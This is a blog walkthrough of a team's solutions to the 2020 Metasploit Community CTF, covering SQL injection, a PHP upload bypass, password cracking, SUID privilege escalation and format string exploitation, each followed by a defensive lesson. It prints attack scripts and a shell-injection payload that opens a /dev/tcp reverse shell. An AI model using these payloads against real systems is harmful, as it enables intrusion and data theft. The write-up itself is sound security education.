Metasploit Community CTF – December 2020

Sarah and I enjoyed taking part in this year’s Metasploit Community CTF; a hacking competition put on by the folks at Rapid 7. It was a great weekend-long competition with a total of 20 flags and 874 teams.

We did the same competition about a year ago; it was quite challenging, and we only got one flag that time around. This year, the competition was designed to be a bit more beginner-friendly, and we were very pleased to achieve 16 flags, ending up in 42nd place overall. Woo hoo! 🎉

Below is my walkthrough of the flags we were able to find, with a few comments on our approach and other general security thoughts. Feel free to read through them in order, or use the following links to read about specific ones.

Also check out Sarah’s writeup here, which is a bit less technical than mine, and also includes some thoughts on the problems that we weren’t able to solve.

Huge thanks to Rapid7 for a great competition this year!!!


I was working during the day on Friday, and had some other commitments for a bunch of the evening. Sarah spent the day doing recon work. As part of the competition, we were given access to a “jump box” running Kali Linux which had access to an Ubuntu-based target machine. All of the challenges involved hacking various open ports on the target.

We started by doing a simple port scan, with the following result:

80/tcp   open  http
1080/tcp open  socks
5555/tcp open  freeciv
8080/tcp open  http-proxy
8200/tcp open  trivnet1
8888/tcp open  sun-answerbook
9000/tcp open  cslistener
9001/tcp open  tor-orport
9009/tcp open  pichat
9010/tcp open  sdr

[4 ♥️; port 80] Simple SSH Tunneling

Port 80 seemed like a pretty good place to start. I had to refresh my memory on how to get an SSH tunnel to work properly so I could access the target from my local browser. I set up an SSH host kali-ctf-2020 with the proper authentication key set up for the jump box, which was at

ssh -L 8080: kali-ctf-2020

Browsing to that page revealed our first flag!

[Red Joker; port 9007] Corrupted ZIP File

As Sarah continued her recon work, she found that port 9007 was a simple web page with a Zip file to download. However, when she tried to unzip it, it appeared to be corrupted, perhaps truncated. We tried putting it into CyberChef, and it was able to extract the various files, despite the corruption. One of the files was the Red Joker!

Security Lesson: Trying to “hide” a file in a corrupted archive isn’t a great strategy. Using secure encryption is the way to go.

[8 ♥️; port 4545] Reverse Engineering, Insecure Encryption

At this point, I was done work, and ready for some hacking! Sarah had done some deeper port scans, and had tried all of the ports in a browser and/or using netcat. After walking through her findings and prioritizing the challenges, I got started digging into this one.

The website gave us two files to download:


I recognized the .elf as an executable binary, and ran it. It waited for input, and then offered some instructions:

$ ./8_of_hearts.elf
You did not say buffalo!

$ ./8_of_hearts.elf
MOAR buffalo!

$ ./8_of_hearts.elf
buffalo buffalo buffalo buffalo buffalo buffalo buffalo buffalo buffalo buffalo
MOAR buffalo!

I started looking at it in the debugger to see what it was doing, while Sarah took a look at the .enc file in CyberChef. With a bit of digging, we found that the entropy of the file was high, indicating that it was probably encrypted (probably what the .enc file extension was referring to).

After a bit of poking around in the debugger, I found the section of assembly code that appeared to open and decrypt the file. It had a conditional statement that appeared to always be false, but I modified the memory within the debugger to force it to be true. And voila! The flag was ours.

Found this loop in the assembly code, looks like it’s decrypting

As it turns out, if I had looked a little harder, or decompiled the code, I would have seen that it was decrypting by simply XOR’ing each byte of the file with the capital A character (0x41), and we could have done so pretty easily without even using the debugger.

Security Lesson: Don’t “roll your own” encryption. Use a proven algorithm, with a secure key.

[8 ♦️; port 5555] “Arcade Game”

At this point we were pretty much done for the day, but I decided to have a quick go at this one before bed.

Connecting to port 5555 with netcat revealed a “Space Invaders”-style game in ASCII. You had a small cursor at the bottom, and had to dodge the falling zero’s.

|0            |
|  0          |
|            0|
|   0         |
|         0   |
|        0    |
|  0          |
|     0       |
|  0          |
| ^           |

The first challenge was trying to figure out how to move the cursor. Arrow keys didn’t appear to work, and Sarah spent some time keyboard mashing in order to figure out how to make it work. Eventually she found that an arrow key followed by <Enter> would move the cursor, and this could be done once per update.

The next challenge was the fact that the game would gradually speed up, until it was almost impossible to keep up. When we lost, it would give a score, and say “You are not as fast as a computer!”. So it seemed that we had to write a computer program to play this game for us.

I got the basics working (read the board, make a move, figure out how the heck to send arrow keys over text), and decided to try a quick algorithm to give it some smarts. Then I spent a bit of time refining it. Basically, the steps were as follows (full code is shown below):

  • If no zero is above me, don’t move.
  • If there is a zero above me, I need to move.
    • First, consider moving closer to the middle of the board, since that will keep me from getting stuck against a wall.
    • BUT if there is another zero in the position above that spot, move the other way instead.

With some tweaking, it worked! After the game completed, it directed us to a newly open port, where we collected our flag.

Security Lesson: Uh…don’t assume a game is impossible to win just because humans aren’t fast enough…? 🤷‍♂️

Full code:

#!/usr/bin/env ruby

RIGHT = "\u001b[C"
LEFT = "\u001b[D"

$pipe = IO::popen( 'nc 5555', 'r+' )

def read_score

def read_board

def move( board )
  my_row = board[-1]
  my_position = my_row.index( '^' )

  next_row = board[-2]
  next_positions = (0...next_row.length).find_all { |i| next_row[i,1] == '0' }

  if next_positions.include?( my_position )
    if my_position < 7
      if next_positions.include?( my_position + 1 )
        $pipe.puts LEFT
        $pipe.puts RIGHT
      if next_positions.include?( my_position - 1 )
        $pipe.puts RIGHT
        $pipe.puts LEFT

def game_loop
  until $pipe.eof? do
    score = read_score
    puts score

    board = read_board
    puts board

    move( board )



[3 ♠️; port 8080] Timing Attack

First up on Saturday, we took a look at a website with a couple of forms (see screenshot below).

Knowing that “guest” was a valid username, and that we needed to find another one, Sarah spent some time trying several usernames. Eventually she noticed that when she used the “guest” username, it took much longer to verify the password than when she used an invalid username. A timing attack!

She also found a few lists of usernames, and I wrote a little script to try them all. I had a bit trouble with inconsistent timings (sometimes it would take longer, even for an invalid username) so I tweaked the script to retry a couple of times in that case. Eventually we found the username “demo” was valid, and the flag was ours!

Security Lesson: Timing attacks can be tricky, but they’re worth thinking about. If your password verification is slow, consider doing it regardless of whether the username is valid, so people can’t guess valid usernames.

Full code:

#!/usr/bin/env ruby

require 'net/http'

def guess_name( name )
  uri = URI( '' )
  Net::HTTP.post_form( uri, 'username' => name, 'password' => 'p@ssword' )

def get_names
  if ARGV.size > 0
    filename = ARGV.shift
    filename = 'names.txt'
  end filename ).readlines.each do |name|
    yield name.strip

def main
  count = 0
  main_start =
  get_names do |name|
    count = count + 1

    duration = 0
    3.times do
      start_time =
      guess_name( name )
      end_time =

      duration = end_time - start_time

      break if duration < 1

    puts "%08.5f :: \"#{ name }\" :: Count: #{ count } :: Time: #{ - main_start }" % duration


[6 ♥️; port 6868] Insecure Direct Object References

For the next site, Sarah had done a lot of poking around, and already had it pretty much figured out. Basically, it was a site where users could sign up with their first name, last names, and an optional list of middle names. Then, the user could access their “notes” and “files” at URLs which included their initials, e.g. /files/AS/0.

We were able to see a couple of users’ initials, and so we browsed their notes and files. There were a few hints about another user, and we eventually determined/guessed that their initials were “BUDDY”. Sure enough, one of their files was the flag!

Security Lesson: URLs with IDs that are easily guessable are not secure! If you don’t want people to be able to access resources belonging to other users, some sort of server-side authorization is necessary. Another option would be to include a cryptographic hash with a server-side secret or a random string in the URL, but usually server-side auth is a good first choice.

[Black Joker; port 8123] Password Cracking

The next challenge was one we had been looking at quite a bit, and we felt that we should be able to get it. It was a website all about “salt”, and how this particular person did not like using salt in their password hashes.

It also had a login page, a signup, and a “forgot password” page. There were a few steps to this one.

First, the admin email address was given on the page, and so when we used the “forgot password” functionality with that address, it told us that the password started with “ihatesalt”. That’s a good start!

Next, I noticed that when using the password reset functionality, an ajax call was sent to the server with a JSON response. On inspecting the JSON response, I noticed that the password hash for the user was included! And guess what…it had no hash 😏

{"id": 0, "name": "Jim \"Hate Salt\" Jones", "email": "", "hint": "The password begins with \"ihatesalt\"", "hash": "7f35f82c933186704020768fd08c2f69"}

Finally, when I inspected the signup page (which didn’t actually work), I found that there were some restrictions on the password character set and length. It only allowed lower case letters and digits, and up to 14 characters.

First I tried writing a script to brute force it, but it wasn’t going well. I hadn’t used hashcat very much, but I quickly learned how to give it the restrictions and have it crack the password. It cracked the password in 17 seconds.

hashcat -a 3 -1 '?l?d' -o cracked.txt hashes.txt ihatesalt?1?1?1?1?1

The password was “ihatesaltalot7”. We went to the login page, used the email and password, and the card was ours!

Security Lesson: There are actually a few here:

  • Avoid making the admin username or email address obvious on your website.
  • Secure password reset functionality is preferable over giving out password hints. If a hacker can guess your email address, a password hint makes it easier for them to guess your password.
  • Don’t restrict passwords unnecessarily. The more possible characters the better, and the longer the better.
  • Never send the hash to the client.
  • Always salt your hashes 😁

[2 ♠️; port 9001] SQL Injection

While I was working on the above problem, Sarah performed her very first SQL Injection attack!

There were two ports that had similar Ruby-based websites. This one had a search bar where you could search for a game, and get a review for that game.

We did some messing around in the input, and eventually found that adding a single-quote character caused it to break, and it became quite clear that it was an SQL Injection vulnerability. The error page even gave us the exact SQL statement that was being run!

We had heard about the SQL Map tool, but neither of us had learned to use it. Sarah gave it a try, ran it in “wizard” mode, gave it the URL, and voila! It dumped out the entire database for us, and the URL of the flag was in a “hidden” table. Score!

Security Lesson: This is a classic SQL Injection vulnerability, so I feel like this tip should go without saying: if you want to have dynamic parameters in an SQL query, use a library function to do so. NEVER manually concatenate strings for an SQL query.

[6 ♦️; port 8200] File Upload Restriction Bypass

This was a fun one. We had a simple “Gallery” website written in PHP which allowed us to upload image files. We had a suspicion early on that we might be able to trick it into allowing us to upload something malicious, so I started by poking at it and trying to understand the file upload restrictions.

First I just tried uploading a PHP file, but it gave me an error saying that the file type was incorrect. Then I tried a PHP file with a .png extension, and it gave me a different error message about the MIME type being incorrect.

So it seemed that it was doing two different checks. After a good bit of poking around and trying various things, I discovered the following:

  • For the file extension, only the characters after the first dot were checked, so a file called evilflag.png.php would bypass the filter.
  • The MIME type check could be fooled by uploading an actual PNG file with some PHP code appended to the end. And when loading that file in the browser (assuming we used the .png.php trick above) the PHP code would run.

With that, I was able to run arbitrary PHP. I looked through the file tree a bit, found the flag, and copied it into the images directory where I could directly access it from the browser.

Security Lesson: I think the main problem here is that I was able to run the PHP file that I uploaded. Basically, the server should be configured so that any file that can be uploaded or altered by a user should NEVER be allowed to run as code. It’s also worth doing robust file type checking, but the ability to load and execute the PHP code was the biggest problem in the end.

[Q ♥️; port 9008] Insecure Authorization

For our last Saturday challenge, we tackled a Java-based challenge. This port appeared to be serving serialized Java objects, so the first thing I tried was creating a Client class in Java and seeing what objects were being sent down.

I found that it was sending an object of type “AuthState”, so I dug around online for a bit to see whether there was a standard class that it might be referring to. With no luck, eventually we took a look at another port (9010) which was serving a JAR file. Upon extracting that, we found some compiled code: Client.class and AuthState.class. Hmm!

Running the JAR against port 9008 revealed a program:

Successfully connected to the server!
Please select an available action from the list below:
[1] Lists available files on the server
[2] Download available files from the server
[3] Authenticate to the server

Listing the files revealed the queen_of_hearts.png file alongside a couple others. We had eyes on the flag! But trying to download with the second command told us we needed to authenticate, and trying to authenticate asked us for a password.

So next we decompiled the Java code and played around with it. The AuthState class had an instance variable which was a boolean value indicating whether we were authorized, and the Client class included some logic for the various actions. Turns out the “download” action would simply send the local AuthState object over the wire as proof of authentication, so we changed the Client class to set the state to true before sending. Recompiled the code, ran it, got the flag!

Security Lesson: This program was almost secure. The fact that the server was expecting us to send the AuthState class before giving us the download was good. The problem was that the AuthState class could be easily manipulated. One option for securing this would be to include a unique ID and a cryptographic signature from the server in the AuthState object so that if it is tampered with locally, the signature would no longer match. Then the server could simply check that signature every time it reads the AuthState object. Another option would be to not include the boolean at all, and just use a unique ID instead with the authentication state stored fully on the server. However, if the ID was easy to guess, then that would open up other problems!


Having gotten 10 of 20 flags at this point, we were pretty happy with our performance! We had three more in mind that we felt like we might be able to dig into a bit, but I figured even if we got one or two more it would be a win. We were busy with some other things in the morning, then we got started.

[A ♣️; port 9009] Reverse Engineering, Arbitrary File Writing as Root

Sarah had found that port 9009 was an open SSH port. I gave it a try, and it revealed that the username was admin. After a bit of guessing, we found that the password was "password", and we were in!

I poked around on the server and quickly found the flag in /etc/ace_of_clubs.png. However, it was only readable by the root user. So that was the game: become root!

I spent some time digging around, looking at what software was installed, and seeing if anything looked out of place. I assumed that in order to get root, I needed to either exploit a known vulnerability in an installed package, or find something custom that was vulnerable.

Eventually I found an executable /opt/vpn_connect, which looked custom to me. Running a strings search on it revealed that it contained the string ace_of_clubs, which solidified that this was where I wanted to be. The executable was SUID root, meaning it runs as the root user, so I figured this is where I had to focus my attention.

The executable took a username and password as parameters, and would tell you whether they were correct. It also logged the results to a file, and we could specify which file to use for logging. We tried guessing the username and password, and then I disassembled the code to see whether the username and password were easily accessible. Upon inspection, it appeared that they were not, but it also became clear that it wasn’t actually doing anything different when the credentials were correct.

That’s when we came to the realization: with the log file, we could write to arbitrary files as root! That was the vulnerability. It took some Googling and some messing around, but eventually we were able to add an entry to /etc/passwd to make our user into the root user, and we got the flag!

Security Lesson: Running files as SUID root is tricky, and should be avoided unless you reeeeally know what you’re doing. Giving the user the ability to write arbitrary files is just one possible vulnerability for this type of program, but any security hole can have pretty massive consequences.

[Q ♠️; port 8202] Insecure GraphQL Server

The next server was a Javascript-heavy login page. We hadn’t tackled it earlier because we hadn’t seen any obvious issues to try to poke at, so we were a bit stumped. But at this point, it seemed like the next best one to tackle.

I searched through the minified JS files trying to find some clues as to what was going on. It became clear that it was using Webpack and React, but still nothing actionable.

I found that the JSON response when trying incorrect credentials was quite detailed, so I took a look at the request. It seemed to have some funny-looking data, and I Google’d around. Turns out it was running a GraphQL query! Now we’re getting somewhere.

I tried a bunch of queries to see what I could find, and then Sarah found a tool which would take the results of a large introspection query, and visualize the results:

The Post type looked interesting, so I queried for all of the Posts:

curl -v -H "Content-Type: application/json" --data '{"query":"{ posts { id, userId, media, title, content, createdAt, updatedAt } }"}'

And the media field returned the flag URL!

{"data":{"posts":[{"id":1,"userId":1,"media":"/cac0babe-1fff-4d85-9070-8d147e76da4b/queen_of_spades.png","title":"Lorem ipsum dolor sit amet","content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec interdum ut metus consectetur sodales. Sed et vulputate massa. Nullam consequat fringilla ante, sit amet lacinia ligula egestas et. Mauris imperdiet sodales nisl, sit amet placerat nisi. Pellentesque et ligula at purus convallis vehicula. Aenean ac ullamcorper diam","createdAt":1607094327.0,"updatedAt":1607094327.0}]}}

Security Lesson: Make sure your API has proper authorization, so users can’t access resources that they aren’t supposed to.

[4 ♣️; port 8092] Insecure Password Verification

We were done for the day, and so we took a break for a while. But there was this password hashing problem we had beat our heads against for a while, and we were still thinking about it.

Having the ability to upload both the password and the hash, and having the comparison done with a secret (but constant) salt just seemed…wrong. I couldn’t quite put my finger on it, but I knew there had to be a vulnerability. I had done some research into password hashing, salt-based vulneraiblities, etc. and hadn’t come up with anything. I had also tried timing attacks because of the == operator, but had no success.

Just before clocking out for the day, Sarah mentioned something off-hand about running the code locally to see how it behaves. And it clicked: I had already found a way to make the password_hash function throw an error, and I bet I could use that to control its return value. Sure enough, if I uploaded an array for password instead of a string, the password_hash function would return NULL. Because the == operator is a loose comparison, I could upload an empty string for hash, and the comparison would be true. Boom!

Security Lesson: First of all, this is a bad way to do password verification. Don’t do it.

Second, if you do need to compare hashes, use a library function to do so. They will do all the right things to ensure that the hash is legit, avoid timing attacks, and so on.


Having gotten three on Sunday, we didn’t have high expectations for today. But as it turns out, we got three more flags, one of which was solved within the last hour of the competition!

[9 ♦️; port 8201] Guessing Subdomains

This port tried to redirect us to a funny URL: http://intranet.metasploit.ctf:8201/

I tried a curl command with that URL in the Host header, and got this:

<h1>Intranet Portal under construction</h1>

<p>We're still working on our intranet portal site.</p>
<p>For now please use the direct subdomain links that have been sent to you.</p>

So we needed to guess a subdomain. At first, I spent a lot of time guessing subdomains of the form <subdomain>.metasploit.ctf, putting them into the Host header and seeing what I get. I tried some big lists, and nothing worked.

Then I realized that they could be of the form <subdomain>.intranet.metasploit.ctf. So I tried the lists again, and found several subdomains. The one we wanted was hidden.intranet.metasploit.ctf, and there was the flag!

Security Lesson: If you want to have “hidden” sites, don’t assume that no-one will guess the subdomain, unless it’s truly random.

[2 ♥️; port 9000] Shell Command Injection

The game review site (SQL Injection) had a companion site that could search through game titles. We had seen some funny behaviour of the search parameter, but didn’t crack the code until today. Sarah noticed that searching for a * character would find all of the games, and I realized that it was a shell command injection.

I was able to use the backtick ` character to run arbitrary shell code. Using that, I opened a reverse shell by first uploading the evil code:

`echo "0<&196-;exec 196<>/dev/tcp/;sh <&196 >&196 2>&196" > ./Games/pwnd`

And then running it:

`/bin/bash ./Games/pwnd`

Looking around the filesystem revealed the flag file.

Security Lesson: Concatenating strings for a shell command is just as dangerous as doing so for an SQL query. If it has to be done, then having a robust whitelist-based validation could work. In this case, other Ruby libraries could have been used to search the filesystem, rather than running a shell command. This would likely have been a more secure strategy.

[9 ♣️; port 1337] Format String Vulnerability

We were running out of ideas, so I decided to tackle a text interaction port.

Welcome to the '9 of Clubs' service.
Please choose an option:
1. Send contact info
2. Greetings
3. Send feedback
0. Exit
Please, send your contact info...
Your contact has been successfully recorded. Thanks!
Please, enter your name...
Hello sarah!!!
Please, enter your feedback...
Please, review your message and confirm:
Confirm (Y/n)?
Thanks for your feedback!
Please, enter your feedback...
Please, review your message and confirm:
Confirm (Y/n)?
Message discarted. Please resend a message, we really need your feedback
Bye forever!

Playing around a bit, I found that the “Enter your name” function had a format string vulnerability; if I entered something like “Alex %p” it would print out a pointer. Hmm!

I actually spent quite a long time researching format string vulnerabilities, figuring out how to read and write arbitrary memory addresses. I discovered that it was a 64-bit program, which made it harder because most memory addresses have 0’s in them, which ends up being a terminating NUL byte in any input string.

Eventually, though, I just inspected the stack, and tried printing strings at every memory address I could find already on there. One of them was lucky:

$ ./exploit.rb | nc 1337
Welcome to the '9 of Clubs' service.
Please choose an option:
1. Send contact info
2. Greetings
3. Send feedback
0. Exit
Please, enter your name...
Hello AAAAAAAAFlag_9_of_Clubs{b17ef17454081e89c084d5182d76c527}!!!

Welcome to the '9 of Clubs' service.
Please choose an option:
1. Send contact info
2. Greetings
3. Send feedback
0. Exit
Bye forever!

Woo hoo! No PNG for this one, just an md5, but that’s all we need!

Security Lesson: This vulnerability comes from a call like:

printf( string_var, arg1, arg2 );

In general, the first argument to printf should always be a string literal rather than a variable, so that hackers can’t add their own format specifiers. So something like this would be more secure:

printf( "%s %d %d", string_var, arg1, arg2 );

Exploit Code:

#!/usr/bin/env ruby

FMT_LONG_WORD = '.%016lx'
FMT_STRING = '.%s'

def output( cmd )
  puts cmd
  sleep 1

def main
  output 2

  fmtstr = ''
  #fmtstr += "\x01\x01\x7f\xfc\x27\xdd\xf6\x20"

  #fmtstr += FMT_LONG_WORD * 4
  #fmtstr += FMT_STRING

  fmtstr += 'AAAAAAAA'
  #fmtstr += '.%128lx'
  #fmtstr += '%5$s'
  #fmtstr += 'JUNKY'
  #fmtstr += '%5$n'
  #fmtstr += '%5$016lx'
  fmtstr += '%9$s'

  #fmtstr += 'AAAAAAAA'
  #fmtstr += FMT_LONG_WORD * 2
  #fmtstr += '%n%n%n'
  #fmtstr += FMT_LONG_WORD * 20

  output fmtstr
  output 0


Leave a Reply